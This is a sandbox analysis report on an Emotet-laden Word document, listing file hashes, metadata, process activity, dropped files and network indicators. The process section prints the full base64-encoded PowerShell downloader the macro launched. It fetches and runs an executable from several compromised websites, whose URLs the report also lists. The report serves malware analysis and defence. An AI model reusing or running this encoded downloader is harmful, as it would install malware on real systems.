analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

ach.doc

Full analysis: https://app.any.run/tasks/20e7efb9-1163-4f67-922b-220b8f019c79
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: November 08, 2019, 14:30:21
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
emotet-doc
emotet
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Consequatur rerum temporibus., Author: Bohuslav Ihnack, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Nov 8 13:13:00 2019, Last Saved Time/Date: Fri Nov 8 13:13:00 2019, Number of Pages: 1, Number of Words: 20, Number of Characters: 114, Security: 0
MD5:

6F4653EB14EBA739928368A35C63F3C1

SHA1:

44DC368D73ECE57E4B73E84AC64AE6D1D48BE1D6

SHA256:

5235FF8980BE1E85E0F6C5B8E1E2E0B9009F3B617FF8451A5288800DB79C38F6

SSDEEP:

6144:1VDPpX53KCcaFAgHNaqSSzGdD48+aDOnk/9kr3:1VDPpX53KCcaFAWafWGe8+WOnu63

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    No malicious indicators.
  • SUSPICIOUS

    • PowerShell script executed

      • powershell.exe (PID: 4080)
    • Executed via WMI

      • powershell.exe (PID: 4080)
    • Creates files in the user directory

      • powershell.exe (PID: 4080)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2124)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2124)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
CharCountWithSpaces: 133
Paragraphs: 1
Lines: 1
Company: -
CodePage: Windows Latin 1 (Western European)
Security: None
Characters: 114
Words: 20
Pages: 1
ModifyDate: 2019:11:08 13:13:00
CreateDate: 2019:11:08 13:13:00
TotalEditTime: -
Software: Microsoft Office Word
RevisionNumber: 1
LastModifiedBy: -
Template: Normal.dotm
Comments: -
Keywords: -
Author: Bohuslav Ihnacák
Subject: -
Title: Consequatur rerum temporibus.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
38
Monitored processes
2
Malicious processes
0
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winword.exe no specs powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
2124"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\ach.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
4080powershell -enco JABXAGoAZwByAHYAZgBqAGQAagA9ACcAVQBpAGcAdQBiAGkAbABiAGYAbABhACcAOwAkAEUAdwB5AHAAbQBtAHYAaQBhAGYAZAB0AGMAIAA9ACAAJwA2ADIANAAnADsAJABHAGkAcgB5AGEAZABuAHkAagBqAHoAPQAnAEMAcgB2AHQAcABqAHgAcgAnADsAJABSAGQAZQB3AHAAbQBxAGYAaQBnAHUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAdwB5AHAAbQBtAHYAaQBhAGYAZAB0AGMAKwAnAC4AZQB4AGUAJwA7ACQARwBlAHYAaABhAGkAdgB3AD0AJwBDAHAAeAByAGUAagBjAGIAJwA7ACQAQwBiAHkAcAB2AHAAeAB0AHgAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AVwBlAEIAQwBMAEkARQBuAFQAOwAkAEgAbgBjAGUAaAB5AG0AZAA9ACcAaAB0AHQAcAA6AC8ALwBhAGMAYQBkAGUAbQB5AC4AcwBlAG8AbgBnAG8AbgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADQAaAAyAHgAMQAxADMAMQA3AC8AKgBoAHQAdABwADoALwAvAGgAbwBjAGgAaQBtAGkAbgBoAGMAaQB0AHkAaABlAHIAbwAuAGkAbgBmAG8ALwB3AHAALQBhAGQAbQBpAG4ALwBsAGIAcABiAGoAbQA2ADgALwAqAGgAdAB0AHAAOgAvAC8AcgBvAGMAawBzAHQAYQByAGUAYQB0AHMALgBjAG8AbQAvAGcAegB1AC8AbwA1AHIAMAA5AC8AKgBoAHQAdABwAHMAOgAvAC8AcwBvAHAAaQBzAGMAbwBuAGUAdwBzAC4AbwBuAGwAaQBuAGUALwB3AHAALQBhAGQAbQBpAG4ALwBpAG4AYwBsAHUAZABlAHMALwB0ADEAZgAyADQANwAwAC8AKgBoAHQAdABwAHMAOgAvAC8AZABpAGEAYgBlAHQAZQBzAGQAaQBlAHQAagBvAHUAcgBuAGEAbAAuAGMAbwBtAC8AagB6AHgAbgBoAHQALwBiADYAYwA0ADIANQA0AC8AJwAuACIAcwBgAFAAbABJAHQAIgAoACcAKgAnACkAOwAkAFgAdgBhAGYAagBqAGoAcgBrAGcAZwB4AHQAPQAnAFUAZQB2AG0AcABuAG0AZgB5AHoAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEoAeQBrAGkAeQBmAHIAYgAgAGkAbgAgACQASABuAGMAZQBoAHkAbQBkACkAewB0AHIAeQB7ACQAQwBiAHkAcAB2AHAAeAB0AHgALgAiAGQATwBXAG4ATABvAGAAQQBgAGQAZgBpAEwARQAiACgAJABKAHkAawBpAHkAZgByAGIALAAgACQAUgBkAGUAdwBwAG0AcQBmAGkAZwB1ACkAOwAkAEQAcABnAGcAdwB2AG4AZABrAGQAcQB4AD0AJwBFAG0AbQB1AGYAdgBxAGcAawBlAGgAcABnACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAUgBkAGUAdwBwAG0AcQBmAGkAZwB1ACkALgAiAEwAYABlAE4AYABnAHQASAAiACAALQBnAGUAIAAyADkAMAA1ADEAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwB0AEEAYABSAFQAIgAoACQAUgBkAGUAdwBwAG0AcQBmAGkAZwB1ACkAOwAkAEIAZgB3AG8AZgBjAGUAYQBrAGIAZgA9ACcAUQBvAHgAdQBxAGkAYQBzACcAOwBiAHIAZQBhAGsAOwAkAFIAZQB3AGUAYwB6AGcAbwBjAHMAdQBiAD0AJwBDAHQAYwBoAG0AawBlAHEAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVABwAGoAdQBxAGMAbAB3AHgAPQAnAEoAaQB4AGMAYQBkAG4AZABrACcAC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 887
Read events
1 070
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
2
Text files
0
Unknown types
11

Dropped files

PID
Process
Filename
Type
2124WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRA7A4.tmp.cvr
MD5:
SHA256:
4080powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\V7H8K4WGSQZ88CC3BILY.temp
MD5:
SHA256:
2124WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$ach.docpgc
MD5:CED875B8E3420EB08A1CDC60587F79B6
SHA256:49735D058C6512AB28760468464D8C194A4D3D9ABDF021068BAD5330C85DBA0B
2124WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1FA31322.wmfwmf
MD5:6C0C60F07EA80CB1D496E0293B0B3C69
SHA256:379262C50880F5181CBBE37279E56C872351B9AB0E13919717503E526DD5EACF
2124WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\BB113F80.wmfwmf
MD5:A3ACB10AAD715F591075757E5B0B8065
SHA256:1A274062D55DC3737AED5369280CEDD89268B21D5528A4FA4D9BC9C4D0061ADB
2124WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\733984BB.wmfwmf
MD5:AB83C81412CE27372FEF858DEAE18951
SHA256:A18D16E8D85F14798381E7039586A70C2B02DB65492EB7F477A958C452F791BF
2124WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2C52EFF.wmfwmf
MD5:E86AE182FC3A718F04234F73388B23DE
SHA256:6D831B4195F67324853C052CB9E8244606F00101C03C5E1E2CE19C2B93E835C0
2124WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E1F11065.wmfwmf
MD5:9C559C088F05E31CCD5DBB08EE75CEDC
SHA256:1A4E64474E8092638B4B749034D6EE8D8B0FF50AA4903C2B6AD99FF1558D2E05
2124WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C247976.wmfwmf
MD5:B3104835A6D41CF769A7CDC432522F21
SHA256:19CDEFA6B5FBADF248017BD30BBFADD5666165F5F8C7433024854C09D913ED1F
2124WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:D3E45E9E34C71A48C10FD945E9620BAF
SHA256:6CC7603DD408465CD9F4E0ED479443E49C34BDBCC43DE9FD1A9A1A1B8185537F
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
5
DNS requests
5
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4080
powershell.exe
GET
404
103.27.61.9:80
http://hochiminhcityhero.info/wp-admin/lbpbjm68/
VN
xml
345 b
suspicious
4080
powershell.exe
GET
404
123.31.42.215:80
http://academy.seongon.com/wp-content/4h2x11317/
VN
xml
345 b
suspicious
4080
powershell.exe
GET
404
68.183.49.130:80
http://rockstareats.com/gzu/o5r09/
US
xml
345 b
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4080
powershell.exe
103.27.61.9:80
hochiminhcityhero.info
Viet Solutions Services Trading Company Limited
VN
suspicious
4080
powershell.exe
132.148.149.43:443
sopisconews.online
GoDaddy.com, LLC
US
unknown
4080
powershell.exe
123.31.42.215:80
academy.seongon.com
VNPT Corp
VN
suspicious
4080
powershell.exe
68.183.49.130:80
rockstareats.com
DSL Extreme
US
suspicious
4080
powershell.exe
104.27.143.49:443
diabetesdietjournal.com
Cloudflare Inc
US
shared

DNS requests

Domain
IP
Reputation
academy.seongon.com
  • 123.31.42.215
suspicious
hochiminhcityhero.info
  • 103.27.61.9
unknown
rockstareats.com
  • 68.183.49.130
suspicious
sopisconews.online
  • 132.148.149.43
unknown
diabetesdietjournal.com
  • 104.27.143.49
  • 104.27.142.49
unknown

Threats

No threats detected
No debug info